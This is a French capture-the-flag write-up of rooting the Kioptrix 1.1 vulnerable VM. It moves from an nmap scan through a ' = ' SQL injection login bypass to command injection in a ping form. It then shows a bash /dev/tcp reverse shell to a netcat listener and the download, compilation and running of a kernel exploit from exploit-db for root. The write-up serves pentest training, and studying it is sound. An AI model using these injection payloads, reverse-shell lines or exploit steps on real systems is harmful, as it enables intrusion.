Writeup Kioptrix 1.1 (Lvl 2)
Retour
Comme toujours, la première étape d’une analyse de vulnérabilités consiste à faire un scan des ports de la machine que l’on souhaite attaquer :
Nmap scan report for 192.168.122.184
Host is up (0.018s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
631/tcp open ipp
3306/tcp open mysql
Ici on voit que plusieurs ports sont ouverts, débutons par une analyse rapide de ceux qui sont les plus intéressants.
Sur le port 80 tourne une application web qui demande un login et un mot de passe :
On sait grâce au scan que tourne une base de données sur le serveur, tentons alors une injection SQL en plaçant '=' dans chacun des champs :
Voici un lien qui m’a servis de référence : http://www.bases-hacking.org/sql-injection.html
Comme on le voit, une redirection immédiate a lieu vers ce qui semble être une application permettant de faire un ping vers une IP.
Ping étant une commande bash, il doit forcément y avoir un moyen de passer des commandes la dedans :
Ici, on a réussi à injecter une commande en écrivant ;cat index.php dans le formulaire.
Le ; permet en bash d’exécuter une commande à la suite de l’autre sous la forme d’une séquence.
Vérifions sous quel utilisateur nous exécutons les commandes et quel est la version de l’OS du serveur :
Nous sommes donc ici identifié en tant qu’apache qui est l’utilisateur du serveur web du même nom. Pour rappel nous devons ici obtenir les droits root sur la machine pour valider l’exercice.
On voit ici que la version du noyaux est assez ancienne, essayons de trouver une faille dans ce dernier :
Reste maintenant à trouver un moyen d’exécuter un shell interactif pour lancer l’exploit. Pour se faire on va exploiter un reverse Shell. Notre choix va se porter ici sur un reverse shell bash qui ressemble à ceci :
bash -i >& /dev/tcp/IP_To_Connect/Port_To_Connect 0>&1
Du coté de notre machine on va simplement lancer netcat en mode interactif :
sudo nc -lvp 666
Sur l’application web, on lance le reverse shell :
; bash -i >& /dev/tcp/192.168.122.1/666 0>&1
Voici ce que l’on obtiens :
Listening on [0.0.0.0] (family 0, port 666)
Connection from [192.168.122.184] port 666 [tcp/*] accepted (family 2, sport 32813)
bash: no job control in this shell
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$
On a donc un shell exécuté avec l’user apache, utilisons notre exploit :
Sur notre machine on va utiliser un serveur web basique en python qui atteint les fichiers du répertoire courant (il est disponible par défaut):
wget https://www.exploit-db.com/download/9542.c
sudo python -m SimpleHTTPServer 80
Côté serveur on va faire récupérer et compiler l’exploit avant de l’exécuter:
bash-3.00$ cd /tmp
bash-3.00$ wget 192.168.122.1/9542.c
--22:42:29-- http://192.168.122.1/9542.c
=> `9542.c.1'
Connecting to 192.168.122.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,674 (2.6K) [text/plain]
0K .. 100% 42.50 MB/s
22:42:29 (42.50 MB/s) - `9542.c.1' saved [2674/2674]
bash-3.00$ gcc -o exp 9542.c
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ./exp
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00#
Bingo ! Nous sommes root sur la machine !
Conclusion :
Pour conclure, on peut dire que cette machine virtuelle nous met en situation réaliste de test d’intrusion. Les failles sont certes éxagerées de par l’ancienneté de l’OS et de ses applicatifs mais on prend en main un workflow de test d’intrusion réaliste.
Il existe certainement d’autres failles sur cette machine virtuelle, si je les trouve j’en ferais part ici.
Retour